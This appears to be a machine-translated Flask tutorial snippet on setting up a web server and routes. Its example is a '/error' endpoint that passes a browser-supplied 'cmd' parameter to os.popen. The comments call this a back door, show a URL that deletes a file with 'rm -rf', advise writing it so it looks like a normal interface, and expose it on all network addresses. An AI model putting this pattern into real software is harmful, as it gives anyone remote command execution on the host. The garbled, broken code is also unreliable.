Development steps:
1, server instantiation
2, the following function decorator becomes an interface
3, start the service
Development tools and processes:
python library: flask = "instantiate server: server = flask.Flask (__ name__) =" @ server.route ( '/ index', methods = [ 'post'])
=》def index(arg):{}
example:
OS Import
@ server.route ( '/ error', Methods = [ 'GET'])
DEF cmd ():
cmd = flask.request.values.get ( 'cmd') into the interface reference #
res = os.popen (cmd ) # execute user commands
return res.read () # returns the results
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt back door interfaces can delete files directly from the browser project
# hidden little method, the cmd = flask.request.values ( 'cmd', None) normal writing interfaces
# default may not pass, but a re-pass = os.popen, RES (cmd)
server.run (Port = 8888, Debug = True, host = '0.0.0.0') # start the service
after the # debug = True, changed the code, do not restart, it will automatically restart
# 'host =' 0.0.0.0 'others can access via IP